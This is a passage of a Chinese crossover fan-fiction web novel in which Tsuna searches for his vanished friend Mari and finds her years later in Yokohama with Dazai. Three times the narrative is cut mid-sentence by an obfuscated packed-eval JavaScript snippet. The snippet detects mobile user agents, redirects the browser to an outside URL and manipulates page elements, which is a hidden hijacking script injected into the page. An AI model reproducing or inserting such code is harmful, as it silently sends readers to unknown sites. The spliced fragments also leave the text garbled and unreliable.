明天,等到明天早上,他一定要早点去等她,然后告诉她,自己其实早就知道了!而且,就算一切是恶作剧也没关系,他就是自愿的!他根本不怪她! 少年将被子拽起来,盖住脸,被子逐渐被他温热的眼泪浸湿。 所以……所以…… 茉莉,请不要离开他…… 一直在脑海中想象着和她解释误会,然后两人重归于好的画面,少年逐渐陷入沉睡。 外面有汽车驶过,淌过水坑,车灯的亮光从天花板上一闪而过。 那个时候,陷入沉睡的沢田纲吉并不知道,他错过了什么。 第二天早上,沢田纲吉迫不及待的起床,想要在比平时更早的时间点去茉莉家门口堵她。 因为太过心急,下楼时他从楼梯上滚了下去,一直摔到一楼客厅,然后看到了一个身穿黑西装的小婴儿。 “CIAOS(你好),我是你的家庭教师,里包恩。”小婴儿如此说道。 谁家小孩跑他家里来了,还在这玩cosplay啊?家长心也太大了吧! 沢田纲吉和这个奇怪的小婴儿拌了几句嘴,随便塞了块面包进嘴里,含糊道:“妈妈!我去学校了!” 奈奈妈妈从厨房探出头问他:“纲君,今天怎么走这么早?” 沢田纲吉一边急匆匆换鞋,一边随口道:“我要早点去找茉莉,不然她就跑了!” 奈奈妈妈很诧异:“啊啦,纲君惹小茉莉生气吗?小茉莉可是很好的女孩子,纲君可要学会珍惜才行呢。” “知道啦,妈妈!” 沢田纲吉拿着书包飞奔出家门,脑袋上突然一沉,那个黑西装的小婴儿竟然跳到了他的头顶! 他什么时候跑上来的! 少年想甩掉这位自说自话的小婴儿家庭教师,却反被对方收拾了一顿。 沢田纲吉只能哀嚎着认命,爱怎样怎样吧!一切都等他和茉莉道完歉再说! 然而,他明明已经比平时约定的上学时间早了很多,却还是没等到茉莉。 敲门和呼喊也没人回应。 沢田纲吉只能厚着脸皮回家,以担心茉莉生病为由,去找奈奈妈妈拿茉莉家的备用钥匙。 打开门后,他发现茉莉家根本没人。 客厅里有点乱,不过茉莉家一直这样,他早就习惯了。 屋内陈设没有任何变化,看起来没什么异样,房间里也没人。 沢田纲吉的肩膀垮了下来。他都来得这么早了,还是没赶上茉莉去上学,她到底走得多早啊!! 他垂头丧气走在去学校的路上,头顶传来那个自称是家庭教师的暴力小婴儿里包恩的声音: “所以说,你喜欢那个叫茉莉的女生。” “不要这么大声啊!”沢田纲吉的脸噌的就红了,他做贼心虚般前看后看,确认没有人听到才松了一口气,抱怨道,“要是被别人听到,会给茉莉带来麻烦的!” “真懦弱啊,”里包恩用稚嫩的声音嘲讽道,“你就没想过表白吗?如果不鼓起勇气来,对方会被别人抢走的哦。” 少年的脸色又唰的白了,胸口涌起一股难堪和愤怒:“怎么可能?茉莉怎么可能和别人在一起!” 这种事情,光是听到,他就觉得难以忍受了啊! “为什么不可能?”里包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14200162|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恩冷笑道,“你自己胆小软弱不表白,还能拦着别人向她表白吗?” 沢田纲吉哑口无言,他垂着头站在原地,眸光怔怔。 “我知道的,我知道的啊……” 可他是个胆小鬼,虽然已经能模糊的感受到茉莉对他的心意,但他还是无法完全确定。 她对他,到底是喜欢还是讨厌啊? 如果是喜欢,那是对朋友的喜欢,还是对恋人的喜欢? 如果是对朋友的喜欢,或者干脆就是讨厌,那他表白也一定会被拒绝啊! 那样一来,茉莉肯定再也不会理他,他一直以来自欺欺人般的美好幻想,也就完全破灭了啊。 少年满脸沮丧。里包恩从他头顶跳下来,帽檐上的蜥蜴变成一把黑色手/枪。 “看来是我出场的时候了,你先死一次吧。” “……诶?你要做什么?!” 在沢田纲吉震惊的眼神中,里包恩用枪口对准了少年的额头,然后扣动了扳机。 “死一次就知道了。” 红色的子弹从枪口飞出,化作一道红光,没入了沢田纲吉的额心。 被子弹击中,身体重重往后倒去的那个瞬间。 沢田纲吉后悔了。 他就这么草率的告别了这个世界。 好后悔,不甘心…… 为什么到死都没有向茉莉坦白心意呢? 如果他拼命的话,是可以向茉莉表白的啊! 少年的身体重重倒在了地上,眼神黯淡了下去,失去了焦距。 但浓浓的后悔和不甘,驱使着他体内的力量化作死气之炎,少年火炎从他的身体中喷涌而出! 剧烈的高温撕碎了他的衣服,火炎在额心点燃,沢田纲吉斗志满满的从地上爬了起来。 “复活!!” “我要拼死向茉莉表白!!” 浑身上下只剩下一条蓝色四角裤,额头冒火,满脸狰狞的少年往学校的方向狂奔而去! “茉莉在哪里?!!” 他在街道上狂奔,被卡车撞飞,一个漂移冲进学校,顺着教学楼外墙跳到班级教室里。路过哪里,就会在哪里引起男生的惊呼和女生尖叫。 可是,不管是上学路上、学校门口、教室里面、学校走廊、保健室、办公室、科学室、音乐室、操场、学校后山、女厕所……所有的地方他都找过了,却怎么都没找到茉莉的身影!! 茉莉,茉莉,茉莉,茉莉—— 你到底在哪里?!! 在拼死模式即将结束直视,沢田纲吉看到了在教室门口的笹川京子。 她惊呆了,满脸震惊的看着他。 京子! 虽然茉莉从来没承认过,但沢田纲吉知道,她是除了他以外,茉莉唯一的朋友! “京子!”他冲过去抓住笹川京子的肩膀,“我要——”找茉莉,她在哪里? 沢田纲吉还没把话说完,由死气弹激发的拼死模式就结束了。 额头上的火炎熄灭,少年的眼神重新变得清澈。他呆呆的低下头,看着只穿着一条四角裤的自己。 他的沉默,震耳欲聋。 被吓懵的笹川京子终于如梦初醒,尖叫着跑开:“啊!有变态!!” 很快,并中一年级A班的废柴纲在学校里裸奔,并向校花笹川京子表白的事迹就传遍了整个学校。 京子的爱慕者因此对他发起了挑战。 其他同学虽然有点疑惑——废柴纲这小子不是总是缠着雨宫同学吗?为什么会突然和京子表白?但看热闹不嫌事大的他们也没太在意。 沢田纲吉只觉得自己天都塌了。 要是被茉莉误会,他在学校裸奔还和京子表白的话,她绝对绝对会再也不理他的!!! 然而,沢田纲吉后来才知道,他已经彻底失去了让茉莉为他生气的机会和资格。 因为,茉莉她已经离开了并盛。 她在昨天晚上就已经离开了,连声再见也没和他说,他连她去哪了,为什么走,什么都不知道。 自那之后,她从他的世界中彻底消失。 17.久别重逢第17天 那位如同从电影中走出来的银发少女,在一个阳光明媚的清晨突然出现在沢田纲吉的世界中,又在一个普通的清晨突兀的离开了他的世界。 完全没有任何预兆。 突兀得就像是他做了一场梦。 最开始的时候,沢田纲吉并不愿意接受这件事。 他总觉得,茉莉说不定只是因为遇到了什么事情,被她的父亲接走了而已,肯定很快就会回来的。 因为,如果是搬家的话,家里的东西肯定会搬走啊,可茉莉家的陈设和物品基本都在,他完全看不出他们带走了什么! 每天早上,路过茉莉家的时候,沢田纲吉都会在那门口呆站很久。 他期待着那个身影会准时推门而出。 然而每一次都只是空想,他只能被里包恩暴揍一顿然后恋恋不舍委屈离开。 不过那个时候,对于沢田纲吉来说,茉莉的离开给他带来震惊的情绪居多,他确实也会感到难受又沮丧,却又没那么难过。 因为,自从里包恩到来之后,他身边奇怪的人越来越多,每天的生活都鸡飞狗跳,累得要死,根本没空难过。 曾经,他觉得自己这辈子可能只会有茉莉一个人愿意拿他当朋友,但后来,他身边的朋友却越来越多。 他们的到来冲淡了他的难过、空虚与寂寞。 他压抑着自己不再想她。 直到茉莉离开后两个月,有一天早上,沢田纲吉和狱寺隼人、山本武集合,准备一起去学校时,他条件反射般往对面看了一眼。 这一眼,让他整个人彻底呆住。 茉莉家的大门开了! 是她回来了吗?! 沢田纲吉激动的往那边跑去,大声高喊:“茉莉!!” 可茉莉并没有回来,从里面走出来的是一个陌生的大叔,他和其他人一起,把茉莉家的东西全都扔了出来。 沢田纲吉惊慌失措的冲上去阻止:“你在做什么!这是茉莉家!是雨宫家!!” 狱寺和山本也上来阻止他,三个男生一起把人给拦住,有一种要将对方当场扭送到警察局的气势。 大叔却告诉他们,说他是这栋房子的房主,把房子租给了雨宫家,但已经两个月没有收到租金,并且无论如何都联系不上租户,所以现在正在按照合同清理上任租户留下的东西,准备将房子租给别人。 沢田纲吉不愿相信,但里包恩却告诉他这都是真的。 少年呆呆站在门口,看着一样又一样充满了回忆的物品像垃圾那般被扔了出来。 那个白色的陶瓷水杯,是茉莉的水杯。 她发烧的时候,他用这个水杯,给茉莉喂过水。 他还记得那个时候她的模样,明明已经很难受很孤独很想哭,却还要在他面前强撑着,假装出一副根本不需要他的模样,倔强又可爱,让他的心都软成了一团。 但现在,水杯被随便扔在地上,碎成了一堆陶瓷碎片。 那个瞬间,沢田纲吉终于意识到。 自己,也许,永远都没办法再见到茉莉了。 那个照亮了他人生的少女,真的离开了。 他还没有和她道别。 他还没有和她说再见。 他还没有和她说对不起。 他还没有和她说他喜欢她。 做不成恋人也没关系。 做不成朋友也没关系。 他只是想要再见她一面。 只是这么简单的愿望而已。 如今却再也没有办法实现了。 看到房主大叔将雨宫门牌从门口摘下来的那个瞬间,少年胸中的悲伤、后悔和痛楚化作眼泪,无法抑制的从眼眶中落下。 沢田纲吉泪流满面,泣不成声,嚎啕大哭。 他这幅样子不仅让狱寺和山本担心不已,还把房主大叔吓坏了。 “你们是雨宫的朋友是吧?我能理解和朋友分开的心情,但时光不可倒流……” 大叔手足无措的安慰他:“既然这么舍不得的话,你进去做个告别吧。最后再看一眼,等你看完我再接着清理。” 沢田纲吉抽噎着道了声谢,胡乱擦干脸上的眼泪,久违的走进了这栋房屋。 客厅里很乱,许多个人物品都被清理了,完全看不出以前的陈设,让他产生了一种剧烈的割裂感和荒谬感。 曾经无数次,他和茉莉坐在沙发上,一起玩游戏,看漫画,看电视。 厨房会传来妈妈的声音,温柔的她不放心茉莉一个人在家里,总是让他过来陪茉莉,妈妈则是给他们两个小孩做晚饭。 茉莉总是对他凶巴巴的,但在沢田奈奈面前的时候却很乖。 从茉莉第一次口误,叫沢田奈奈为‘妈妈’,而妈妈直接同意了以后,她就一直叫这么称呼她。 如果说在沢田纲吉面前,茉莉就像是一只随时都会炸毛的白色猫咪,那在沢田奈奈面前,茉莉就像是一只可怜巴巴的淋湿小狗。 茉莉自己都不知道,自己注视着沢田奈奈的表情,满是眷恋却又小心翼翼,充满了孺慕之情。 沢田纲吉从来没有听茉莉提过她的母亲,但他猜测,茉莉的母亲很可能已经去世了。 茉莉父亲一直在出差,对茉莉缺乏关心和照顾,她和孤身一人留在并盛没有什么区别。 有时候,听到茉莉小心翼翼喊妈妈的声音,沢田纲吉都会产生一股心酸的情绪。 妈妈肯定也是这么觉得的。 所以她才那么喜欢茉莉,照顾茉莉,把茉莉当成女儿一般对待。 以前,沢田纲吉总是觉得只有自己和妈妈的家里,很空旷,很寂寞。 但是在雨宫家,和茉莉一起吃饭的时候,那种寂寞的感觉却突然消失了。 没有爸爸的他,和没有妈妈的茉莉,和沢田奈奈坐在一起吃饭的时候,他们三人就像真正的一家人一般,一起度过了很多很多次快乐的晚饭时光。 那些欢声笑语仿佛还在耳边,但现在,餐桌上的白色桌布和花瓶都消失了,只剩下了空荡荡、光秃秃的桌椅板凳。 沢田纲吉来到了茉莉的卧室。 这里还没有被清理,一切都保持着茉莉离开时的模样。 地板和桌面上已经积攒起了一层薄薄的灰尘。 书桌上放着茉莉看过的书籍,她用过的笔,夜晚照亮光芒的台灯,她的课本,一切都整整齐齐的摆放着。 衣柜里满满都是茉莉的各种华丽裙装,价格昂贵,她竟然几乎都没有带走。 床上的被子没有叠,乱糟糟的,一只五十厘米长的兔子玩偶躺在床上,像是在睡觉一般。 这是茉莉最喜欢的兔子玩偶,是他们去电玩城玩抓娃娃,花了好多好多钱都没有抓到,老板看不下去,送给他们的玩偶。 茉莉每天晚上都会抱着它睡觉。 她连这个都没有带走。 就像彻底抛弃了他们之间的关系一般。 为什么,她连一句话都没有说,什么都不让他知道,就这样自私的离开了呢? 太过分了,太过分了,茉莉。 沢田纲吉拿起玩偶,眼泪砸在兔子玩偶的笑脸上,晕染出湿漉漉的痕迹。 经过房东大叔同意后,他带走了这只兔子玩偶。 而后,这栋房屋中属于雨宫家父女的一切痕迹,都彻底消除。 一转眼,四年过去,沢田纲吉从14岁变成了18岁。 这些年来,随着时间的流逝,他将自己对茉莉的思念被掩埋在记忆深处。 拥有了很多同伴与朋友的他,经历了无数战斗与成长的他,已经不是曾经那个脆弱又无助到只知道在雨宫家门前哭泣的少年。 只是,虽然现在的自己身边已经足够热闹,足够幸福。 在每年生日的那一天,当所有喧嚣都退去之时,沢田纲吉还是会感觉难受。 他会想起茉莉。 会想起他们曾经定下的约定,约定好以后每年生日都要在一起度过,约定好会互相为对方准备生日礼物。 会因为想起她而呼吸变得苦涩,心脏缩紧,但嘴角却会情不自禁的泛起微笑。 今天晚上的月色很美。 现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223273|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的茉莉,也和他在同一片天空下,和他一样,凝视着同一个月亮吗? 这又何尝不是一种在一起呢? 沢田纲吉是真心这么觉得的,所以,当家庭教师里包恩问他在想什么的时候,他也这样如实回答了。 然后就被恨铁不成钢的里包恩暴揍一顿。 “算了,我早就知道你是个什么样的蠢货。” “你现在已经成年了,马上就要离开日本,去意大利继承家族,我觉得,你应该在离开日本前做个了断。” “我已经找到了雨宫茉莉的下落。” 里包恩里包恩拉拉帽檐,用黑洞洞的眼睛注视着他,问:“你想见她吗?” 沢田纲吉惊愕的睁大了双眼,瞳孔震颤,忘记了呼吸。 心脏在这个瞬间开始疯狂加速跳动,他毫不犹豫点头:“想!!!” 因为这次旅行是沢田纲吉的个人行为,他不想带太多人去打扰茉莉,所以守护者们都没跟着,只有他和里包恩两个人。 里包恩告诉沢田纲吉,根据他查到的资料,茉莉和他的父亲在离开并盛之后,有整整一年的时间,完全消失了踪迹。 就连彭格列的情报部门,都查不到他们这段时间的任何信息。 等到雨宫茉莉再次出现的时候,她已经是一个父母双亡,孤身一人的孤儿。 茉莉已经不是当初那个挥金如土的贵族大小姐,她变成了一个为生活奔波的普通人,日子过得甚至比大部分普通人还要艰苦。 她在横滨上学,为了负担学费和生活费,不仅要努力学习挣奖学金,放学之后还要偷偷去打工。 在前往横滨的列车上,当沢田纲吉听到里包恩告诉他的这些情报时,他的心脏揪成了一团,又酸又涩又疼。 他简直难以想象,那么骄傲又脆弱的茉莉,如同公主一般的茉莉,虽然嘴上很讨厌父亲但是还是爱戴父亲的茉莉,在经历了这些重大的变故和打击之后,是如何孤身一人坚持下去的。 沢田纲吉最艰难的时候,有妈妈陪着他,有里包恩陪他,有狱寺山本陪他,有大哥蓝波一平云雀骸库洛姆风太等等同伴陪着他。 他再也没有承受过孤身一人的滋味。 可是,茉莉却只剩下她自己一个人。 按照里包恩的情报,茉莉十五岁的时候就开始孤身一人,还是个孩子的她,这些年来,是怎么独自一人面对那些痛苦和艰难的啊?! 沢田纲吉迫不及待的想见到她,想帮助她。 可他心里也清楚,按照茉莉的性格,她肯定特别不愿意见到他。 她总是不愿意让人见到她狼狈的模样,而那个人如果是他的话,她会更难过,更羞耻,更生气。 所以,为了不让这场久别重逢变得难堪,沢田纲吉决定先偷偷观察一番茉莉的情况,找个合适的机会再上前叙旧。 当然,这种谨慎也有他临阵退缩的原因在。 戴上墨镜、帽子和口罩,鬼鬼祟祟的拿着报纸,沢田纲吉和伪装后的里包恩出现在了茉莉打工的店门口。 这是一家咖啡店。 不是那种靠着身着暴露女仆装的女孩子们来吸引顾客,搞擦边的女仆咖啡店。 咖啡店的装潢很英伦风,员工有男有女,男性员工身穿英伦侍应生服,女性员工身穿传统欧式女仆服。 茉莉是这家咖啡店的兼职咖啡师。 她和其他女性员工一样,身穿非常简单朴素的黑白色传统女仆装,长长的裙摆垂到脚踝,围裙系带在身后绑成蝴蝶结,头上戴着女仆头巾,将她美丽的银色长发半束起来。 明明所有女孩子都穿着相同的服饰。 可茉莉却和其他人不一样,她的表情冷淡而认真,一举一动优雅无比,整个人如同在油画中盛放的白色花朵,让人根本无法移开视线。 隔着门扉和十几步的距离,和那双翡翠色的眼眸对上视线的那个瞬间。 沢田纲吉感觉,自己心脏中那颗因她的不告而别而死去的种子,在这个瞬间生根发芽,转眼间又长成了一棵参天大树。 繁花盛开。 18.久别重逢第18天 距离他们上次见面,已经过去了整整四年的时光。 沢田纲吉的视线穿过墨镜,贪婪的注视着那个容貌昳丽而表情冷漠的银发少女。 茉莉长大了。 她比起以前高了许多,稚嫩的容貌长开后更加夺人心魄。她的头发反而短了一些,从长到大腿的长发变成了及腰长发。 变化最大的还是她的眼神。 如果说,他能从以前的茉莉看到各种各样闪闪发光的情绪的话,现在的茉莉眼中只剩下平静与冷漠。 那双翡翠色的眼眸暗淡了许多。 沢田纲吉情不自禁的屏住了呼吸。 茉莉,这些年来,一定吃了很多苦吧…… 他的心脏酸涩一片。而茉莉早在和他短暂对视后就收回了目光,专心制作咖啡。 她没有认出他来。 毕竟,沢田纲吉在这四年中身高蹿到了将近一米八,还戴着帽子、墨镜和口罩,把自己裹得严严实实,这样还能认出来,那才奇怪了。 沢田纲吉如同宕机般傻站在原地,直到被受不了的里包恩踹了一脚,这才如梦初醒般走进了咖啡店。 他选了一个能够观察到茉莉的位置,随便点了杯摩卡,然后就假装看报纸,实则一直在偷偷观察茉莉。 他想和她说话,想让她知道他的到来,想了解她这些年的经历,想知道她当初为何不告而别,想告诉她他还是喜欢她,一直一直喜欢她。 可是他害怕,就在这一刻,他又退缩了。 现在的茉莉表情好冷漠,和以前完全不一样,如果她也用这样冷漠的表情对待他的话,他的心脏会碎掉的。 所以,当里包恩一边喝咖啡,一边问他到底什么时候出手的时候,沢田纲吉不好意思的笑笑: “要不再多等一会吧?里包恩。茉莉现在上班,现在突然上去叙旧,会给茉莉的工作添麻烦的。” 里包恩用看穿一切的眼神看了他一眼,最后冷笑道:“随便你。” 在咖啡店这一个小时,沢田纲吉点了好几次咖啡和甜点,就是希望茉莉能来送餐,让他能够近距离看看她。 可茉莉的主要工作是制作咖啡,一次都没来送过餐。 沢田纲吉失望又焦急,就在这时,咖啡店的另一个角落传来一阵争执声。 是一个浑身上下穿的全是奢侈品的富二代。他故意把前来送餐的女仆绊了一跤,让自己的衣服上被洒上热咖啡,然后攥住女仆的手腕,嚷嚷着要对方赔钱。 那位女仆吓得眼泪都出来了,在这里上班的人,怎么可能赔得起这么昂贵的衣服? 富二代笑了,“你赔不起,没关系,让雨宫过来,只要她答应我的要求,我们之间的账务就一笔勾销,怎么样?” 女仆愤怒至极:“是我的错,怎么能连累雨宫?” “没关系,我来吧。” 雨宫茉莉右手握住女仆的肩膀,冲她微微摇了摇头,示意她冷静,然后上前一步,挡在那位女仆的前面。 “一而再再而三的骚扰我,竟然还追到了这里来,你还真是执迷不悟呢,铃木同学。” 对方竟然是茉莉的同学? 原本着急的想要冲上去的沢田纲吉脚步微微一顿。 铃木露出势在必得的笑容:“雨宫,我说过我不会放弃的,怎么样,今天可以和我约会吗?放心,我不会对你做什么的,约会的话,你同事的赔偿,就可以一笔勾销了哦。” 这个混蛋!! 沢田纲吉忍不住了,大步向前,眼看已经走到了茉莉身后,就在这时,他听到了茉莉认真的声音。 “我不是早就和你说过了吗,我已经有男朋友了。请你去追求其他单身的女性吧。” …… ………… 什么?!! 沢田纲吉感觉自己仿佛被雷劈中了,浑身僵硬,内心震动不已。 是啊,他早该想到的,只是一直不敢往这个方向思考罢了。 都过去四年了,就凭茉莉的美貌和受欢迎程度,她想要谈恋爱的话,肯定会有很多人趋之若鹜的。 心脏像是被撕裂了。 连呼吸都在疼痛。 怎么搞的,自己一开始的想法,不是再见茉莉一面、了解她的近况、和她解释清楚误会就行了吗? 现在这么难受,难道是他还抱着什么不切实际的幻想吗? 少年僵硬站在原地,如同一尊石像一般。 明明和茉莉只隔着不到十步的距离。 可他却根本没有勇气上前。 直到那个富二代无所谓的调笑声响起。 “雨宫,撒谎的孩子可是要接受惩罚的哦。” “我都托侦探调查过了,你根本没有什么男朋友,要不然,他怎么会让你一个人出来打工,每天独来独往,从来没人接送?” “……” 沢田纲吉的心脏又狂跳起来。 是啊,茉莉是不是为了摆脱对方,故意在说谎呢? 他从彭格列血统中继承的超直感,能在一定程度上判定弱点,趋利避害,辨别谎言,看破真相。 但超直感不是测谎仪,没有那么神奇,只是让他产生一种模模糊糊的感觉而已。 虽然没有那么神奇,但超直感能分辨出来,当茉莉说出那句‘我已经有男朋友’时,非常认真,根本没有说谎。 她是认真的。 茉莉真的有男朋友了。 对方是什么样的人,对她好吗?他们真的喜欢对方吗?如果对方对茉莉是真心的话,那怎么忍心让茉莉一个人出来打工,还要被其他人骚扰? 茉莉冷漠回应:“他工作忙。” 富二代还是不信:“雨宫,你该不会是为了甩掉我,故意瞎编出一个根本不存在的男朋友吧?就算再怎么忙,也不会这么长的时间从来不跟你见面吧?” “……” 这次,银发少女沉默了。 沢田纲吉就站在茉莉身后几步外,看着她倔强而僵硬的背影,他能感受到她此刻的冷漠外表下,隐藏着的难过与无助。 虽然不知道茉莉究竟是不是真的有男朋友了,但沢田纲吉此刻只觉得—— 那个男朋友,真的太过分了! 他在做什么啊,为什么放任茉莉经受这些,到现在都还不出现! 再不出现的话,他真的忍不住要过去了! 就在沢田纲吉跃跃欲试,挣扎着要上前时,门口传来了一个陌生而语气亲密的男声。 “茉莉~你在做什么?” 一个看起来和他们差不多大的黑发少年走了进来,他身穿黑西装,有一头发梢微卷的过耳黑发,微笑着微微俯身,揽住了茉莉的肩膀。 “抱歉,我来晚了,茉莉。是这个人在纠缠你吗?” 在因为遮挡而看不清楚的视角中,茉莉抬起头来,看着眼前的黑发少年,双眼微微睁大,明显有些震惊。 “太宰,你怎么……” “嘘。” 太宰治微笑着伸出食指,轻轻按住少女的嘴唇,制止了茉莉接下来要说的话。 “和男友的叙旧,还是留到只剩我们两个人的时候再说吧。” 太宰治转头看向坐在一旁的富二代,笑意不达眼底,浑身爆发出冰冷刺骨的气势。 他还没来得及说话,对方就惊吓到连连后退,椅子在地上拖拽,发出刺耳的声响。 “等等,你、你是港口Mafia的那个——” “对不起!!我不知道雨宫小姐是您的女朋友,如果我早知道的话,是绝对不会做出追求对方的这种行为的!请您饶命!!” 富二代噌的一下站了起来,九十度鞠躬道歉,汗如雨下。 “嗯?你竟然认识我?”太宰治有些为难,“这样的话,你如果和他们报告我的行踪,就让我为难了啊。” “咿!!对不起!我什么都没看到!什么都不会说的!!请饶了我吧!!” 富二代鬼哭狼嚎着跑掉了。 “抱歉,让你受到了惊吓,这位小姐。” 太宰治从兜里掏出一块手帕,递给一开始被富二代为难,洒了咖啡的那位女生,她经历了大起大落,面色惨白,显然受到了惊吓。 他温柔微笑:“对方应该再也不会到这来了。” “谢谢您……”女生接过手帕,眼泪顿时夺眶而出。 …… ………… 沢田纲吉呆呆看着眼前这一幕。 灵魂好像被撕扯成了两半。 有一半已经难过到快要爆炸,另一半还能保持冷静,用果然如此的心态看着眼前的少年少女。 茉莉的男朋友,看起来是个温柔的人啊。 但不仅如此,沢田纲吉能感受出来,眼前的黑发少年,和他一样,是经历过许多生死和战斗的人。 而且,对方身上的气质,比他还要肃杀血腥。 对方的身份不简单。 听那个富二代刚刚透露的信息,黑发少年是港口Mafia的人。 什么啊。 沢田纲吉用嫉妒的目光注视着正在和茉莉笑着说话的太宰治。 他也很温柔,他也是Mafia,他甚至还是Mafia的首领啊! 明明都是一样的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14244971|148372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么茉莉喜欢的人不能是他,为什么茉莉的男朋友不能是他呢?! 就连他们到底在说什么,沢田纲吉都已经听不进去了。 他像个傻子一样站在原地,看着收拾完残局的茉莉和太宰治肩并着肩走了过来。 在沢田纲吉以为自己又要和茉莉擦肩而过的那个瞬间。 银发少女停下了脚步。 她抬起头来,用奇怪而疑惑的眼神注视着眼前戴着帽子墨镜口罩,全身裹得严严实实的少年。 “请问,这位客人,您一直站在这里,是有什么需要帮助的吗?” “……” 沢田纲吉没想到她会突然停下来和自己说话,整个人完全毫无防备。 呼吸停止,心脏几乎要跳出胸口。 像一块僵硬的木头,站在原地一动不动,张了张嘴,想说点什么,却什么声音都发不出来。 简直就是笨蛋。 他手心里全是汗,呆愣了好半晌,才艰难的发出声音:“没、没事……” 什么啊!他在说些什么啊! 他想说的明明不是这个!! 你最近过得好吗?你真的喜欢那个人吗?你还记得我吗? 他想说的,明明是这些才对…… “好的,有什么需要的,请您随时吩咐服务员。” 茉莉毫不犹豫的收回目光,就要回到自己的工作岗位上去。 “等、请等一下!” 他又叫住她,大脑一片空白。 最终还是没有说出那些话。 他不想打扰她的生活。 眉头因悲伤而微皱着,视野有些模糊,他微笑着说: “请再给我来一杯咖啡吧,要最苦的那种。” 茉莉用疑惑的目光看了已经连续喝了好几杯咖啡的他一眼,什么都没问,说:“好的,请稍等。” …… 沢田纲吉在咖啡店里一直呆到了打烊。 直到店员来通知他闭店,他才回过神来,问:“茉莉、那位雨宫小姐已经走了吗?” 店员:“是的,她在一个小时前,已经和她的男朋友一起从后门离开了。” “……这样啊,谢谢。” 横滨的夜晚,无处可去的沢田纲吉和里包恩一起坐在店外的长椅上。 “蠢纲,我让彭格列在港口Mafia的卧底调查了一下,已经查到了。” 里包恩看着手机上的情报。 “那个人叫做太宰治,今年十八岁,和你同龄。之前是港口Mafia的干部,但在某些事件之后,突然在某次任务途中叛逃,现在似乎在做一些保密程度较高的地下工作。” “再多的就不清楚了,总之,他确实不方便出现在明面上。” 原来是这样啊。 一切都解释的通了。 所以那个富二代才会说,茉莉明明说有男朋友,却从来没有见过对方出现过。 是因为那个叫太宰治的,现在处于这种尴尬和危险的境遇之中,不方便出现。 明明在港口Mafia的追捕下,太宰治还能因为茉莉遇到危险而冒着暴露的危险出现为她解围,他们俩的感情一定很好吧。 心脏撕裂到几乎麻木。 搞什么啊,他到现在才知道,原来自己真的一直在幻想。 现在,这份幻想彻底被戳破了。 里包恩看到沢田纲吉这幅颓废又黯然神伤的样子就生气。 不过,自家弟子已经成年,比起最开始的时候,他会逼迫弟子做出决定,现在的里包恩已经放任许多。 这个世界上,哪有一直等着别人替自己做决定这么好的事情? 更何况,沢田纲吉马上就要继承彭格列家族,以后的路,他需要学会自己做决定和选择,自己承担后果。 所以,现在的里包恩不会逼他做什么,一切的路都是沢田纲吉自己选的。 里包恩问他:“蠢纲,你接下来打算怎么做?是把那个女孩子从他男朋友那里抢过来,还是去把她男友揍一顿?” “对啊,揍一顿!!” 原本还垂头丧气的少年突然激动的站了起来,握紧双拳。 “谢谢你,里包恩,我想通了!” 里包恩勾起唇角,刚刚为突然硬气起来的自家弟子高兴了一秒钟,就听到他的下一句话。 “我要去把那个骚扰茉莉的家伙狠狠揍一顿!!” “……” 里包恩飞起就是一脚,直接把沢田纲吉给踹飞了出去。 “你这个没用的蠢货。” 懦弱成这样,活该追不到女朋友。 19.久别重逢第19天 沢田纲吉真的找到那个叫铃木的富二代,把他套着麻袋,怒气冲冲的狠狠揍了对方一顿。 铃木被揍成了一个猪头。 当晚天很黑,铃木又被套了麻袋,根本没看清揍自己的人是谁,还以为是太宰治找了杀手来灭口,痛哭流涕,连连求饶,发誓自己再也不敢骚扰雨宫,不,不敢骚扰任何女性了。 所以,当铃木发现自己没死,只是被揍成猪头后,甚至对太宰治和港口Mafia感激涕零,这已经是后话了。 在离开横滨之前,沢田纲吉还做了一件事。 他拜托里包恩还有老爸,以海外慈善机构的名义,给茉莉的大学捐赠了奖学金,暗箱操作,指定要雨宫茉莉获得其中一个奖学金名额。 至于奖金,则是从沢田纲吉这些年攒下的零花钱、九代目和各种长辈给的红包,以及自己未来几年的工资中预支。 毕竟,沢田纲吉了解到,茉莉的男友太宰治因为要从Mafia洗白上岸,所以一直在国家机构进行地下工作,完全没有工资,连养活自己都困难,更别说帮助茉莉。 如果直接把这笔钱给茉莉,不仅会暴露自己的身份,茉莉也一定不会接受,他只能用这种迂回的方式去帮助她。 他希望她能幸福。 哪怕里包恩嘲讽他,说他就是个胆小鬼,就是个只知道自我感动的蠢货,他也认了。 因为,里包恩说的也没错嘛。 十八岁的沢田纲吉离开了日本,和守护者们一起,前往意大利继承彭格列家族。 